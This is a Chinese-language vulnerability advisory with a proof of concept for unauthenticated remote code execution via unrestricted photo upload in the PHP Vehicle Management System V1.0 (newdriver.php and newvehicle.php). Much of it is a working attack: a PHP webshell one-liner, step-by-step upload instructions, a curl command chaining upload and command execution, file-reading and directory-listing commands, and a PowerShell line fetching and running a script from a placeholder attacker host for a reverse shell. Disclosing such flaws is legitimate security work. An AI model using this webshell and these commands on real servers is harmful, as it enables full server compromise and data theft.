Vehicle Management System In PHP - 通过 newdriver.php 文件上传实现未认证远程代码执行

漏洞信息

字段	详情
产品	Vehicle Management System In PHP
供应商	code-projects.org
版本	V1.0
漏洞类型	未限制文件上传导致远程代码执行 (CWE-434)
受影响文件	`newdriver.php`, `newvehicle.php`
参数	`photo` (POST, multipart/form-data)
是否需要认证	否（未认证）
CVSS 分数	10.0 严重
攻击向量	远程 / 网络
所需权限	无
用户交互	无

描述

code-projects.org 开发的 Vehicle Management System In PHP V1.0 存在未认证的远程代码执行漏洞，利用方式是 newdriver.php（newvehicle.php 中存在相同的漏洞）中未限制的文件上传。

该应用在 newdriver.php 处暴露了一个仅限管理员使用的“新司机”注册表单，其中包含一个照片上传字段。但是，该端点未进行任何会话验证——任何未认证的攻击者都可以直接访问它，而不会被重定向到登录页面。此外，照片上传字段接受任何文件类型，包括 PHP 文件，没有扩展名过滤、MIME 类型验证或内容检查。

攻击者可以：

无需任何会话或凭据直接访问 newdriver.php
提交司机表单，将 PHP webshell 作为“照片”上传
shell 被保存到 /picture/ 目录
访问上传的 shell 并在服务器上执行任意操作系统命令

这将导致以 Web 服务器进程的权限实现完全远程代码执行。

漏洞链

未认证的 HTTP 请求
        ↓
newdriver.php（无会话检查）
        ↓
photo 字段接受 .php 文件（无文件类型验证）
        ↓
shell 被保存到 /picture/web_shell.php
        ↓
GET /picture/web_shell.php?cmd=whoami
        ↓
RCE —— 任意操作系统命令执行

复现步骤

步骤 1 — 确认可未认证访问 newdriver.php

打开一个无会话的新浏览器（无痕/隐私窗口）。直接导航到端点：

http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php

新司机表单成功加载，没有认证检查，也没有重定向到登录页面。

步骤 2 — 准备 PHP webshell

创建一个简单的 PHP 命令执行 webshell：

<?php system($_GET['cmd']); ?>

将其保存为 shell.php（或任何 .php 文件名）。

步骤 3 — 提交带有 webshell 作为照片的表单

使用任何值填写司机表单字段，并选择 PHP webshell 作为照片上传：

Driver Name:        test
Mobile:             1234567890
Driver Joining Date: 2026-05-19
National ID:        test
License No:         test
License End Date:   2026-05-30
Driver Address:     test
Photo:              shell.php   ← 在此上传 PHP webshell

点击 Submit Query。

步骤 4 — Shell 上传确认

应用响应 "Registration Completed!" —— 确认 PHP shell 已被接受并保存，没有进行任何验证。

步骤 5 — 通过上传的 shell 执行任意命令

导航到位于 /picture/ 目录下的上传 shell，并通过 cmd 参数传递操作系统命令：

http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami

服务器执行命令并返回输出：

desktop-g1i9np3\dell

步骤 6 — 更多命令执行示例

# 读取敏感文件
http://TARGET/.../picture/shell.php?cmd=type+C:\xampp\htdocs\VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\newdriver.php

# 列出 Web 根目录
http://TARGET/.../picture/shell.php?cmd=dir+C:\xampp\htdocs\

# 通过 PowerShell 建立完整反向 shell
http://TARGET/.../picture/shell.php?cmd=powershell+-c+"IEX(New-Object+Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"

第二个受影响端点 — newvehicle.php

newvehicle.php 中存在相同的漏洞。未认证的攻击者可以访问添加新车辆的表单，通过车辆照片字段上传 PHP webshell，并通过相同的方法实现 RCE。

http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newvehicle.php

两个端点具有相同的根本原因：没有会话验证和没有文件上传限制。

curl PoC（单行命令）

curl -s -X POST \
  "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php" \
  -F "dname=test" \
  -F "mobile=1234567890" \
  -F "djoiningdate=2026-05-19" \
  -F "nid=test" \
  -F "licenseno=test" \
  -F "licenseenddate=2026-05-30" \
  -F "daddress=test" \
  -F "[email protected];type=image/jpeg" \
  && echo "[+] Shell uploaded" \
  && curl -s "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami"

影响

未认证的远程代码执行 —— 网络上的任何匿名攻击者都可以实现完整的操作系统命令执行
完全服务器失陷 —— 对所有文件、凭据、数据库配置的读写访问
无需交互 —— 单个 HTTP 请求即可实现完全自动化的利用
两个受影响端点 —— newdriver.php 和 newvehicle.php 都存在漏洞

受影响文件

文件	上传字段	Shell 存储路径
`newdriver.php`	`photo`	`/picture/`
`newvehicle.php`	`photo`	`/picture/`

供应商信息

供应商主页： https://code-projects.org/vehicle-management-system-in-php-with-source-code/
下载地址： https://code-projects.org/vehicle-management-system-in-php-with-source-code/

发现者

Syed Imad Uddin Alvi (imad alvi)
独立安全研究员

CVE-2026-11344-RCE

最受欢迎